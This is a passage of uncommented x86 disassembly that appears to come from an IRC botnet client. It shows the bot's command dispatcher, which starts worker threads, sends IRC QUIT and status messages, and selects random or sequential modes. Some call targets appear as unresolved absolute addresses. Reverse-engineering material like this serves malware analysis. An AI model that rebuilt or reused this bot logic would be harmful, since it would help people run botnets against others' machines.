cmp [edi], ebx
jnz short loc_40389C
jmp short loc_4038D8
; ---------------------------------------------------------------------------
loc_4038BE: ; CODE XREF: sub_401ACD+1DE3j
mov eax, [ebp+arg_0]
mov ecx, eax
mov [ebp+var_730], eax
shl ecx, 6
mov ecx, dword_431B00[ecx]
mov [ebp+var_74C], ecx
loc_4038D8: ; CODE XREF: sub_401ACD+1DC8j
; sub_401ACD+1DEFj
cmp [ebp+var_74C], ebx
jz loc_403AE1
push 10h
lea eax, [ebp+var_2D4]
pop edi
push eax
lea eax, [ebp+var_30C]
push eax
mov [ebp+var_2D4], edi
push [ebp+arg_4]
call dword_4CB5F8
mov al, [ebp+var_8FF]
push edi
neg al
sbb eax, eax
and ax, 100h
add eax, 0FFFFh
and [ebp+var_308], eax
push [ebp+var_308]
call dword_4CB6E0
push eax
lea eax, [ebp+var_860]
push eax
call sub_41B5F0
xor eax, eax
cmp [ebp+var_8FF], bl
push 30h
setnz al
inc eax
inc eax
mov edi, eax
lea eax, [ebp+var_860]
push eax
call sub_41BE40
add esp, 14h
cmp edi, ebx
mov byte ptr [ebp+arg_24+3], bl
jle short loc_403980
loc_40395E: ; CODE XREF: sub_401ACD+1EB1j
cmp eax, ebx
jz short loc_403980
mov byte ptr [eax], 78h
lea eax, [ebp+var_860]
push 30h
push eax
call sub_41BE40
inc byte ptr [ebp+arg_24+3]
pop ecx
pop ecx
movsx ecx, byte ptr [ebp+arg_24+3]
cmp ecx, edi
jl short loc_40395E
loc_403980: ; CODE XREF: sub_401ACD+1E8Fj
; sub_401ACD+1E93j
mov eax, [ebp+arg_4]
push [ebp+var_88]
mov [ebp+var_750], eax
mov eax, [ebp+var_4]
mov [ebp+var_728], eax
mov eax, [ebp+var_8]
mov [ebp+var_724], eax
mov edi, 80h
lea eax, [ebp+var_850]
push edi
push eax
mov [ebp+var_720], 1
call sub_41B980
push offset dword_43D808
push esi
call sub_41C070
add esp, 14h
test eax, eax
jz short loc_4039E2
push esi
lea eax, [ebp+var_7D0]
push edi
push eax
call sub_41B980
add esp, 0Ch
jmp short loc_4039E8
; ---------------------------------------------------------------------------
loc_4039E2: ; CODE XREF: sub_401ACD+1F00j
mov [ebp+var_7D0], bl
loc_4039E8: ; CODE XREF: sub_401ACD+1F13j
cmp [ebp+var_720], ebx
mov eax, offset aRandom ; "Random"
jnz short loc_4039FA
mov eax, offset aSequential ; "Sequential"
loc_4039FA: ; CODE XREF: sub_401ACD+1F26j
push [ebp+var_734]
lea ecx, [ebp+var_860]
push [ebp+var_744]
push [ebp+var_748]
push [ebp+var_74C]
push ecx
push eax
lea eax, [ebp+var_2C4]
push offset unk_42C620
push eax
call sub_41B886
push ebx
lea eax, [ebp+var_2C4]
push 0Bh
push eax
call sub_40B0F7
add esp, 2Ch
mov [ebp+var_740], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_860]
push ebx
push eax
push offset loc_40C33D
push ebx
push ebx
nop
call near ptr 2680098h
mov ecx, [ebp+var_740]
imul ecx, 234h
cmp eax, ebx
mov dword_43E5A4[ecx], eax
jz short loc_403A84
loc_403A72: ; CODE XREF: sub_401ACD+1FB5j
cmp [ebp+var_71C], ebx
jnz short loc_403A9F
push 32h
nop
call near ptr 2680000h
jmp short loc_403A72
; ---------------------------------------------------------------------------
loc_403A84: ; CODE XREF: sub_401ACD+1FA3j
nop
call near ptr 2680ABEh
push eax
lea eax, [ebp+var_2C4]
push offset unk_42C5E4
push eax
call sub_41B886
add esp, 0Ch
loc_403A9F: ; CODE XREF: sub_401ACD+1FABj
cmp [ebp+var_8], ebx
jnz short loc_403AC0
push ebx
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409A73
add esp, 14h
loc_403AC0: ; CODE XREF: sub_401ACD+1FD5j
lea eax, [ebp+var_2C4]
push eax
call sub_4151AD
pop ecx
loc_403ACD: ; CODE XREF: sub_401ACD+1D95j
add [ebp+arg_18], 0Bh
mov eax, [ebp+arg_18]
cmp [eax], bl
jnz loc_403818
jmp loc_401E94
; ---------------------------------------------------------------------------
loc_403AE1: ; CODE XREF: sub_401ACD+1E11j
push offset unk_42C5AC
jmp loc_406F05
; ---------------------------------------------------------------------------
loc_403AEB: ; CODE XREF: sub_401ACD+1B66j
; sub_401ACD+1B7Bj
push 5
call sub_40B33F
test eax, eax
pop ecx
jle short loc_403B01
push offset unk_42C58C
jmp loc_406F05
; ---------------------------------------------------------------------------
loc_403B01: ; CODE XREF: sub_401ACD+2028j
mov eax, [ebp+esi+var_8C]
cmp eax, ebx
jz short loc_403B24
push eax
mov edi, 104h
lea eax, [ebp+var_2D50]
push edi
push eax
call sub_41B980
add esp, 0Ch
jmp short loc_403B38
; ---------------------------------------------------------------------------
loc_403B24: ; CODE XREF: sub_401ACD+203Dj
mov edi, 104h
lea eax, [ebp+var_2D50]
push edi
push eax
push ebx
nop
call near ptr 2670000h
loc_403B38: ; CODE XREF: sub_401ACD+2055j
mov esi, [ebp+esi+var_88]
cmp esi, ebx
jnz short loc_403B48
mov esi, offset byte_42910C
loc_403B48: ; CODE XREF: sub_401ACD+2074j
push esi
lea eax, [ebp+var_2C4C]
push edi
push eax
call sub_41B980
mov eax, dword_429078
push 7Fh
push [ebp+var_88]
mov [ebp+var_2B40], eax
mov eax, [ebp+arg_4]
mov [ebp+var_2B44], ebx
mov [ebp+var_2D54], eax
lea eax, [ebp+var_2B3C]
push eax
call sub_41B5F0
mov eax, [ebp+var_4]
add esp, 18h
mov [ebp+var_2ABC], eax
mov eax, [ebp+var_8]
mov [ebp+var_2AB8], eax
lea eax, [ebp+var_2D50]
push eax
lea eax, [ebp+var_2C4]
push [ebp+var_2B40]
push offset unk_42C558
push eax
call sub_41B886
push ebx
lea eax, [ebp+var_2C4]
push 5
push eax
call sub_40B0F7
add esp, 1Ch
mov [ebp+var_2B48], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_2D54]
push ebx
push eax
push offset byte_411797
push ebx
push ebx
call near ptr 2680098h
nop
mov ecx, [ebp+var_2B48]
imul ecx, 234h
cmp eax, ebx
mov dword_43E5A4[ecx], eax
jz short loc_403C14
loc_403BFE: ; CODE XREF: sub_401ACD+2145j
cmp [ebp+var_2AB4], ebx
jnz loc_40828C
push 32h
nop
call near ptr 2680000h
jmp short loc_403BFE
; ---------------------------------------------------------------------------
loc_403C14: ; CODE XREF: sub_401ACD+212Fj
nop
call near ptr 2680ABEh
push eax
push offset unk_42C51C
jmp loc_4049EC
; ---------------------------------------------------------------------------
loc_403C25: ; CODE XREF: sub_401ACD+1B3Cj
; sub_401ACD+1B51j
mov edi, [ebp+esi+var_8C]
cmp edi, ebx
jz short loc_403C44
push edi
call sub_41B779
test eax, eax
pop ecx
jz short loc_403C44
push edi
call sub_41B779
pop ecx
jmp short loc_403C49
; ---------------------------------------------------------------------------
loc_403C44: ; CODE XREF: sub_401ACD+2161j
; sub_401ACD+216Cj
mov eax, dword_42907C
loc_403C49: ; CODE XREF: sub_401ACD+2175j
mov esi, [ebp+esi+var_88]
mov [ebp+var_36C8], eax
xor eax, eax
cmp [ebp+var_8FC], bl
setz al
cmp esi, ebx
mov [ebp+var_36B4], eax
jz short loc_403C7C
lea eax, [ebp+var_37CC]
push esi
push eax
call sub_41B886
pop ecx
pop ecx
jmp short loc_403CA7
; ---------------------------------------------------------------------------
loc_403C7C: ; CODE XREF: sub_401ACD+219Cj
lea eax, [ebp+var_4FF4]
push 104h
push eax
call near ptr 2670A78h
nop
push ebx
push ebx
lea eax, [ebp+var_4C8]
push ebx
push eax
lea eax, [ebp+var_4FF4]
push eax
call sub_41B9D1
add esp, 14h
loc_403CA7: ; CODE XREF: sub_401ACD+21ADj
lea eax, [ebp+var_37CC]
push eax
call sub_41AFE0
cmp [ebp+eax+var_37CD], 5Ch
pop ecx
jnz short loc_403CD2
lea eax, [ebp+var_37CC]
push eax
call sub_41AFE0
pop ecx
mov [ebp+eax+var_37CD], bl
loc_403CD2: ; CODE XREF: sub_401ACD+21EFj
push [ebp+var_88]
mov esi, [ebp+arg_4]
lea eax, [ebp+var_3A54]
mov [ebp+var_3A58], esi
push 80h
push eax
call sub_41B980
mov eax, [ebp+var_8]
mov edi, [ebp+var_4]
add esp, 0Ch
mov [ebp+var_36B8], eax
lea eax, [ebp+var_37CC]
mov [ebp+var_36BC], edi
push eax
push [ebp+var_36C8]
push esi
call sub_40AC10
pop ecx
push eax
lea eax, [ebp+var_2C4]
push offset unk_42C4E0
push eax
call sub_41B886
push ebx
lea eax, [ebp+var_2C4]
push 3
push eax
call sub_40B0F7
add esp, 20h
mov [ebp+var_36C0], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_3A58]
push ebx
push eax
push offset sub_40F0D6
push ebx
push ebx
call near ptr 2680098h
nop
mov ecx, [ebp+var_36C0]
imul ecx, 234h
cmp eax, ebx
mov dword_43E5A4[ecx], eax
jz short loc_403D86
loc_403D74: ; CODE XREF: sub_401ACD+22B7j
cmp [ebp+var_36AC], ebx
jnz short loc_403DA1
push 32h
call near ptr 2680000h
nop
jmp short loc_403D74
; ---------------------------------------------------------------------------
loc_403D86: ; CODE XREF: sub_401ACD+22A5j
nop
call near ptr 2680ABEh
push eax
push offset unk_42C4A4
loc_403D92: ; CODE XREF: sub_401ACD+241Aj
; sub_401ACD+4D05j ...
lea eax, [ebp+var_2C4]
push eax
call sub_41B886
add esp, 0Ch
loc_403DA1: ; CODE XREF: sub_401ACD+22ADj
; sub_401ACD+23FEj ...
cmp [ebp+var_8], ebx
jnz loc_4083BD
push ebx
push edi
jmp loc_407286
; ---------------------------------------------------------------------------
loc_403DB1: ; CODE XREF: sub_401ACD+1B12j
; sub_401ACD+1B27j
mov edi, [ebp+esi+var_8C]
cmp edi, ebx
jz short loc_403DD0
push edi
call sub_41B779
test eax, eax
pop ecx
jz short loc_403DD0
push edi
call sub_41B779
pop ecx
jmp short loc_403DD5
; ---------------------------------------------------------------------------
loc_403DD0: ; CODE XREF: sub_401ACD+22EDj
; sub_401ACD+22F8j
mov eax, dword_429080
loc_403DD5: ; CODE XREF: sub_401ACD+2301j
mov [ebp+var_1824], eax
mov eax, [ebp+esi+var_88]
cmp eax, ebx
jnz short loc_403DEC
lea eax, [ebp+var_C4]
loc_403DEC: ; CODE XREF: sub_401ACD+2317j
push eax
lea eax, [ebp+var_1964]
push 40h
push eax
call sub_41B980
mov esi, [ebp+esi+var_84]
add esp, 0Ch
cmp esi, ebx
jnz short loc_403E0E
mov esi, offset dword_43D808
loc_403E0E: ; CODE XREF: sub_401ACD+233Aj
push esi
lea eax, [ebp+var_1924]
push 100h
push eax
call sub_41B980
add esp, 0Ch
lea eax, [ebp+var_19E4]
push [ebp+var_88]
push 80h
push eax
call sub_41B980
mov eax, [ebp+var_8]
mov esi, [ebp+arg_4]
mov edi, [ebp+var_4]
add esp, 0Ch
mov [ebp+var_1810], eax
lea eax, [ebp+var_1964]
push eax
mov [ebp+var_19E8], esi
push [ebp+var_1824]
mov [ebp+var_1814], edi
push esi
call sub_40AC10
pop ecx
push eax
lea eax, [ebp+var_2C4]
push offset unk_42C468
push eax
call sub_41B886
push ebx
lea eax, [ebp+var_2C4]
push 9
push eax
call sub_40B0F7
add esp, 20h
mov [ebp+var_1820], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_19E8]
push ebx
push eax
push offset word_410A4E
push ebx
push ebx
nop
call near ptr 2680098h
mov ecx, [ebp+var_1820]
imul ecx, 234h
cmp eax, ebx
mov dword_43E5A4[ecx], eax
jz short loc_403EDB
loc_403EC5: ; CODE XREF: sub_401ACD+240Cj
cmp [ebp+var_180C], ebx
jnz loc_403DA1
push 32h
nop
call near ptr 2680000h
jmp short loc_403EC5
; ---------------------------------------------------------------------------
loc_403EDB: ; CODE XREF: sub_401ACD+23F6j
call near ptr 2680ABEh
nop
push eax
push offset unk_42C42C
jmp loc_403D92
; ---------------------------------------------------------------------------
loc_403EEC: ; CODE XREF: sub_401ACD+1AE8j
; sub_401ACD+1AFDj
mov esi, [ebp+esi+var_8C]
cmp esi, ebx
jz short loc_403EFF
push esi
call sub_41B779
jmp short loc_403F06
; ---------------------------------------------------------------------------
loc_403EFF: ; CODE XREF: sub_401ACD+2428j
push 0Bh
call sub_40B35E
loc_403F06: ; CODE XREF: sub_401ACD+2430j
cmp eax, ebx
pop ecx
jz loc_409855
push eax
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
call sub_40BA57
jmp loc_4043BA
; ---------------------------------------------------------------------------
loc_403F26: ; CODE XREF: sub_401ACD+1ABEj
; sub_401ACD+1AD3j
mov eax, dword_4CB570
cmp eax, ebx
jz short loc_403F43
call eax
test eax, eax
jz short loc_403F3C
push offset unk_42C408
jmp short loc_403F48
; ---------------------------------------------------------------------------
loc_403F3C: ; CODE XREF: sub_401ACD+2466j
push offset unk_42C3DC
jmp short loc_403F48
; ---------------------------------------------------------------------------
loc_403F43: ; CODE XREF: sub_401ACD+2460j
push offset unk_42C3B0
loc_403F48: ; CODE XREF: sub_401ACD+246Dj
; sub_401ACD+2474j ...
lea eax, [ebp+var_2C4]
push 200h
push eax
call sub_41B980
jmp loc_406CDC
; ---------------------------------------------------------------------------
loc_403F5E: ; CODE XREF: sub_401ACD+1A94j
; sub_401ACD+1AA9j
call sub_40AB32
test eax, eax
jz short loc_403F6E
push offset unk_42C38C
jmp short loc_403F48
; ---------------------------------------------------------------------------
loc_403F6E: ; CODE XREF: sub_401ACD+2498j
push offset unk_42C360
jmp short loc_403F48
; ---------------------------------------------------------------------------
loc_403F75: ; CODE XREF: sub_401ACD+1A6Aj
; sub_401ACD+1A7Fj
cmp [ebp+var_8], ebx
jnz short loc_403F94
push ebx
push [ebp+var_4]
push offset dword_42C348
push [ebp+var_88]
push [ebp+arg_4]
call sub_409A73
add esp, 14h
loc_403F94: ; CODE XREF: sub_401ACD+24ABj
push ebx
push [ebp+var_4]
call sub_4181D7
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409A73
push offset dword_42C32C
jmp loc_404286
; ---------------------------------------------------------------------------
loc_403FB6: ; CODE XREF: sub_401ACD+18FAj
; sub_401ACD+190Fj
push 0Ah
call sub_40B33F
test eax, eax
pop ecx
jle short loc_403FCC
push offset unk_42C300
jmp loc_409602
; ---------------------------------------------------------------------------
loc_403FCC: ; CODE XREF: sub_401ACD+24F3j
push [ebp+var_88]
push [ebp+arg_4]
call sub_419C65
pop ecx
cmp eax, 0FFFFFFFFh
pop ecx
jnz short loc_403FEB
push offset unk_42C2D8
jmp loc_409602
; ---------------------------------------------------------------------------
loc_403FEB: ; CODE XREF: sub_401ACD+2512j
push offset unk_42C2B8
jmp loc_409602
; ---------------------------------------------------------------------------
loc_403FF5: ; CODE XREF: sub_401ACD+18D0j
; sub_401ACD+18E5j
push [ebp+var_8]
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
call sub_40A7CF
jmp loc_401E91
; ---------------------------------------------------------------------------
loc_40400E: ; CODE XREF: sub_401ACD+18A6j
; sub_401ACD+18BBj
push [ebp+esi+var_8C]
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
call sub_416C29
jmp loc_401E91
; ---------------------------------------------------------------------------
loc_40402B: ; CODE XREF: sub_401ACD+187Cj
; sub_401ACD+1891j
or edi, 0FFFFFFFFh
nop
call near ptr 2690AA5h
xor edx, edx
mov ecx, 3E8h
div ecx
mov esi, [ebp+esi+var_8C]
cmp esi, ebx
mov [ebp+arg_0], eax
jz short loc_404054
push esi
call sub_41B779
pop ecx
mov edi, eax
loc_404054: ; CODE XREF: sub_401ACD+257Cj
mov eax, [ebp+arg_0]
xor edx, edx
mov ecx, 15180h
div ecx
cmp eax, edi
jnb short loc_40406D
cmp edi, 0FFFFFFFFh
jnz loc_409855
loc_40406D: ; CODE XREF: sub_401ACD+2595j
push ebx
call sub_41A88C
pop ecx
push eax
lea eax, [ebp+var_2C4]
push offset dword_42C2A0
push eax
call sub_41B886
push ebx
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409A73
lea eax, [ebp+var_2C4]
push eax
call sub_4151AD
loc_4040AB: ; CODE XREF: sub_401ACD+529Dj
add esp, 24h
jmp loc_409855
; ---------------------------------------------------------------------------
loc_4040B3: ; CODE XREF: sub_401ACD+1852j
; sub_401ACD+1867j
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
call sub_415A30
add esp, 0Ch
push offset dword_42C280
jmp loc_406F05
; ---------------------------------------------------------------------------
loc_4040D1: ; CODE XREF: sub_401ACD+1828j
; sub_401ACD+183Dj
push 27h
call sub_40B33F
test eax, eax
pop ecx
jle short loc_404105
cmp [ebp+var_8], ebx
jnz loc_401E94
push ebx
push [ebp+var_4]
push offset unk_42C260
push [ebp+var_88]
push [ebp+arg_4]
call sub_409A73
loc_4040FD: ; CODE XREF: sub_401ACD+7238j
add esp, 14h
jmp loc_401E94
; ---------------------------------------------------------------------------
loc_404105: ; CODE XREF: sub_401ACD+260Ej
push [ebp+var_88]
lea eax, [ebp+var_B2C]
push 80h
push eax
call sub_41B980
mov eax, [ebp+arg_4]
mov esi, [ebp+esi+var_8C]
mov [ebp+var_B30], eax
mov eax, [ebp+var_4]
mov [ebp+var_AA4], eax
mov eax, [ebp+var_8]
add esp, 0Ch
cmp esi, ebx
mov [ebp+var_AA0], eax
mov [ebp+var_AA8], ebx
jz short loc_404166
push esi
push offset aFull ; "full"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_404166
mov [ebp+var_AA8], 1
loc_404166: ; CODE XREF: sub_401ACD+267Cj
; sub_401ACD+268Dj
lea eax, [ebp+var_2C4]
push offset dword_42C23C
push eax
call sub_41B886
push ebx
lea eax, [ebp+var_2C4]
push 27h
push eax
call sub_40B0F7
add esp, 14h
mov [ebp+var_AAC], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_B30]
push ebx
push eax
push offset sub_4198EC
push ebx
push ebx
nop
call near ptr 2680098h
mov ecx, [ebp+var_AAC]
imul ecx, 234h
cmp eax, ebx
mov dword_43E5A4[ecx], eax
jz short loc_4041D4
loc_4041BE: ; CODE XREF: sub_401ACD+2705j
cmp [ebp+var_A9C], ebx
jnz loc_409631
push 32h
call near ptr 2680000h
nop
jmp short loc_4041BE
; ---------------------------------------------------------------------------
loc_4041D4: ; CODE XREF: sub_401ACD+26EFj
call near ptr 2680ABEh
nop
push eax
lea eax, [ebp+var_2C4]
push offset unk_42C200
push eax
call sub_41B886
add esp, 0Ch
jmp loc_409631
; ---------------------------------------------------------------------------
loc_4041F4: ; CODE XREF: sub_401ACD+17FEj
; sub_401ACD+1813j
cmp [ebp+var_8], ebx
jnz short loc_404213
push ebx
push [ebp+var_4]
push offset dword_42C1E4
push [ebp+var_88]
push [ebp+arg_4]
call sub_409A73
add esp, 14h
loc_404213: ; CODE XREF: sub_401ACD+272Aj
push [ebp+arg_4]
call dword_4CB6EC
call dword_4CB5AC
call sub_41835A
push ebx
nop
call near ptr 77E75CB5h
loc_40422E: ; CODE XREF: sub_401ACD+17D4j
; sub_401ACD+17E9j
push ebx
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push [ebp+arg_4]
push eax
call sub_41AA43
pop ecx
pop ecx
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409A73
push offset dword_42C1C8
jmp short loc_404286
; ---------------------------------------------------------------------------
loc_404259: ; CODE XREF: sub_401ACD+17AAj
; sub_401ACD+17BFj
push ebx
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push [ebp+arg_4]
push [ebp+arg_1C]
push eax
call sub_41ACF7
add esp, 0Ch
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409A73
push offset dword_42C1AC
loc_404286: ; CODE XREF: sub_401ACD+24E4j
; sub_401ACD+278Aj
call sub_4151AD
add esp, 18h
jmp loc_409855
; ---------------------------------------------------------------------------
loc_404293: ; CODE XREF: sub_401ACD+1780j
; sub_401ACD+1795j
push [ebp+var_8]
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
call sub_41524D
jmp loc_401E91
; ---------------------------------------------------------------------------
loc_4042AC: ; CODE XREF: sub_401ACD+1756j
; sub_401ACD+176Bj
cmp [ebp+var_C], ebx
mov [ebp+var_1594], bl
jz short loc_4042EB
mov esi, [ebp+esi+var_8C]
cmp esi, ebx
jz short loc_4042EB
push esi
push [ebp+var_C]
call sub_41B900
pop ecx
cmp eax, ebx
pop ecx
jz short loc_4042EB
push eax
push offset aS_1 ; "%s"
lea eax, [ebp+var_1594]
push 80h
push eax
call sub_41B980
add esp, 10h
loc_4042EB: ; CODE XREF: sub_401ACD+27E8j
; sub_401ACD+27F3j ...
push [ebp+var_88]
lea eax, [ebp+var_1614]
push 80h
push eax
call sub_41B980
mov eax, [ebp+arg_4]
add esp, 0Ch
mov [ebp+var_1618], eax
mov eax, [ebp+var_4]
mov [ebp+var_1510], eax
mov eax, [ebp+var_8]
mov [ebp+var_150C], eax
lea eax, [ebp+var_2C4]
push offset dword_42C194
push eax
call sub_41B886
push ebx
lea eax, [ebp+var_2C4]
push 25h
push eax
call sub_40B0F7
add esp, 14h
mov [ebp+var_1514], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_1618]
push ebx
push eax
push offset word_41528E
push ebx
push ebx
call near ptr 2680098h
nop
mov ecx, [ebp+var_1514]
imul ecx, 234h
cmp eax, ebx
mov dword_43E5A4[ecx], eax
jz short loc_40438E
loc_404378: ; CODE XREF: sub_401ACD+28BFj
cmp [ebp+var_1508], ebx
jnz loc_401E94
push 32h
nop
call near ptr 2680000h
jmp short loc_404378
; ---------------------------------------------------------------------------
loc_40438E: ; CODE XREF: sub_401ACD+28A9j
call near ptr 2680ABEh
nop
push eax
push offset unk_42C15C
jmp loc_402077
; ---------------------------------------------------------------------------
loc_40439F: ; CODE XREF: sub_401ACD+172Cj
; sub_401ACD+1741j
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
call sub_415135
push offset dword_42C144
call sub_4151AD
loc_4043BA: ; CODE XREF: sub_401ACD+2454j
add esp, 10h
jmp loc_409855
; ---------------------------------------------------------------------------
loc_4043C2: ; CODE XREF: sub_401ACD+1702j
; sub_401ACD+1717j
push [ebp+var_88]
lea eax, [ebp+var_BC4]
push 80h
push eax
call sub_41B980
mov eax, [ebp+arg_4]
mov esi, [ebp+esi+var_8C]
mov [ebp+var_BC8], eax
mov eax, [ebp+var_4]
mov [ebp+var_B3C], eax
mov eax, [ebp+var_8]
add esp, 0Ch
cmp esi, ebx
mov [ebp+var_B38], eax
jz short loc_40441C
push offset dword_42C140
push esi
call sub_41C070
neg eax
sbb eax, eax
pop ecx
inc eax
pop ecx
mov [ebp+var_B40], eax
jmp short loc_404422
; ---------------------------------------------------------------------------
loc_40441C: ; CODE XREF: sub_401ACD+2933j
mov [ebp+var_B40], ebx
loc_404422: ; CODE XREF: sub_401ACD+294Dj
lea eax, [ebp+var_2C4]
push offset dword_42C120
push eax
call sub_41B886
push ebx
lea eax, [ebp+var_2C4]
push 28h
push eax
call sub_40B0F7
add esp, 14h
mov [ebp+var_B44], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_BC8]
push ebx
push eax
push offset word_40B162
push ebx
push ebx
nop
call near ptr 2680098h
mov ecx, [ebp+var_B44]
imul ecx, 234h
cmp eax, ebx
mov dword_43E5A4[ecx], eax
jz short loc_404490
loc_40447A: ; CODE XREF: sub_401ACD+29C1j
cmp [ebp+var_B34], ebx
jnz loc_406D00
push 32h
nop
call near ptr 2680000h
jmp short loc_40447A
; ---------------------------------------------------------------------------
loc_404490: ; CODE XREF: sub_401ACD+29ABj
nop
call near ptr 2680ABEh
push eax
push offset unk_42C0E4
jmp loc_409227
; ---------------------------------------------------------------------------
loc_4044A1: ; CODE XREF: sub_401ACD+1686j
; sub_401ACD+169Bj
push offset aQsfpo ; "qsfpo"
push offset dword_42C0CC
loc_4044AB: ; CODE XREF: sub_401ACD+2A1Dj
lea eax, [ebp+var_2C4]
push eax
call sub_41B886
push ebx
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409A73
add esp, 20h
jmp loc_406D00
; ---------------------------------------------------------------------------
loc_4044D8: ; CODE XREF: sub_401ACD+165Cj
; sub_401ACD+1671j
push dword_4CB394
call sub_41A88C
pop ecx
push eax
push offset unk_42C0A0
jmp short loc_4044AB
; ---------------------------------------------------------------------------
loc_4044EC: ; CODE XREF: sub_401ACD+1632j
; sub_401ACD+1647j
mov esi, [ebp+esi+var_8C]
cmp esi, ebx
jz short loc_40451E
cmp [ebp+var_C], ebx
jz short loc_40452D
push esi
push [ebp+var_C]
call sub_41B900
pop ecx
cmp eax, ebx
pop ecx
jz short loc_40452D
push eax
push offset aQuitS ; "QUIT :%s\r\n"
push [ebp+arg_4]
call sub_409A2D
add esp, 0Ch
jmp short loc_40452D
; ---------------------------------------------------------------------------
loc_40451E: ; CODE XREF: sub_401ACD+2A28j
push offset aQuitLater ; "QUIT :later\r\n"
push [ebp+arg_4]
call sub_409A2D
pop ecx
pop ecx
loc_40452D: ; CODE XREF: sub_401ACD+2A2Dj
; sub_401ACD+2A3Cj ...
push 0FFFFFFFEh
jmp loc_401E96
; ---------------------------------------------------------------------------
loc_404534: ; CODE XREF: sub_401ACD+1608j
; sub_401ACD+161Dj
push offset aQuitDisconnect ; "QUIT :disconnecting\r\n"
push [ebp+arg_4]
call sub_409A2D
push offset dword_42C050
call sub_4151AD
add esp, 0Ch
or eax, 0FFFFFFFFh
jmp loc_401E97
; ---------------------------------------------------------------------------
loc_404556: ; CODE XREF: sub_401ACD+15DEj
; sub_401ACD+15F3j
push offset aQuitReconnecti ; "QUIT :reconnecting\r\n"
push [ebp+arg_4]
call sub_409A2D
push offset dword_42C01C
call sub_4151AD
add esp, 0Ch
jmp loc_4097BA
; ---------------------------------------------------------------------------
loc_404575: ; CODE XREF: sub_401ACD+15B4j
; sub_401ACD+15C9j
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
call sub_40B7DB
jmp loc_404934
; ---------------------------------------------------------------------------
loc_40458B: ; CODE XREF: sub_401ACD+158Aj
; sub_401ACD+159Fj
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
call sub_40B786
jmp loc_404934
; ---------------------------------------------------------------------------
loc_4045A1: ; CODE XREF: sub_401ACD+1560j
; sub_401ACD+1575j
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
call sub_40B71A
jmp loc_404934
; ---------------------------------------------------------------------------
loc_4045B7: ; CODE XREF: sub_401ACD+1536j
; sub_401ACD+154Bj
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
call sub_40B64B
jmp loc_404934
; ---------------------------------------------------------------------------
loc_4045CD: ; CODE XREF: sub_401ACD+1491j
; sub_401ACD+14A6j
push [ebp+esi+var_8C]
push 27h
push offset dword_42C00C
push offset dword_42BFFC
jmp loc_402B25
; ---------------------------------------------------------------------------
loc_4045E5: ; CODE XREF: sub_401ACD+1467j
; sub_401ACD+147Cj
push [ebp+esi+var_8C]
push 24h
push offset dword_42BFF0
push offset dword_42BFE0
jmp loc_402B25
; ---------------------------------------------------------------------------
loc_4045FD: ; CODE XREF: sub_401ACD+1083j
; sub_401ACD+1098j
mov edi, [ebp+esi+var_8C]
cmp edi, ebx
jz short loc_40461C
push edi
call sub_41B779
test eax, eax
pop ecx
jz short loc_40461C
push edi
call sub_41B779
pop ecx
jmp short loc_404621
; ---------------------------------------------------------------------------
loc_40461C: ; CODE XREF: sub_401ACD+2B39j
; sub_401ACD+2B44j
mov eax, dword_429074
loc_404621: ; CODE XREF: sub_401ACD+2B4Dj
mov esi, [ebp+esi+var_88]
mov [ebp+var_590], eax
cmp esi, ebx
jz short loc_404646
push esi
loc_404633: ; CODE XREF: sub_401ACD+2B88j
lea eax, [ebp+var_5A0]
push 10h
push eax
call sub_41B980
add esp, 0Ch
jmp short loc_40465D
; ---------------------------------------------------------------------------
loc_404646: ; CODE XREF: sub_401ACD+2B63j
cmp [ebp+var_8FF], bl
jz short loc_404657
lea eax, [ebp+var_C4]
push eax
jmp short loc_404633
; ---------------------------------------------------------------------------
loc_404657: ; CODE XREF: sub_401ACD+2B7Fj
mov [ebp+var_5A0], bl
loc_40465D: ; CODE XREF: sub_401ACD+2B77j
mov eax, [ebp+var_4]
push [ebp+var_88]
mov esi, [ebp+arg_4]
mov [ebp+var_584], eax
mov eax, [ebp+var_8]
push 80h
mov [ebp+var_580], eax
lea eax, [ebp+var_620]
push eax
mov [ebp+var_624], esi
call sub_41B980
add esp, 0Ch
push [ebp+var_590]
push esi
call sub_40AC10
pop ecx
push eax
lea eax, [ebp+var_2C4]
push offset dword_42BFB8
push eax
call sub_41B886
push ebx
lea eax, [ebp+var_2C4]
push 19h
push eax
call sub_40B0F7
add esp, 1Ch
mov [ebp+var_58C], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_624]
push ebx
push eax
push offset word_4111CE
push ebx
push ebx
nop
call near ptr 2680098h
mov ecx, [ebp+var_58C]
imul ecx, 234h
cmp eax, ebx
mov dword_43E5A4[ecx], eax
jz short loc_40470E
loc_4046F8: ; CODE XREF: sub_401ACD+2C3Fj
cmp [ebp+var_57C], ebx
jnz loc_401E94
push 32h
nop
call near ptr 2680000h
jmp short loc_4046F8
; ---------------------------------------------------------------------------
loc_40470E: ; CODE XREF: sub_401ACD+2C29j
call near ptr 2680ABEh
nop
push eax
push offset dword_42BF7C
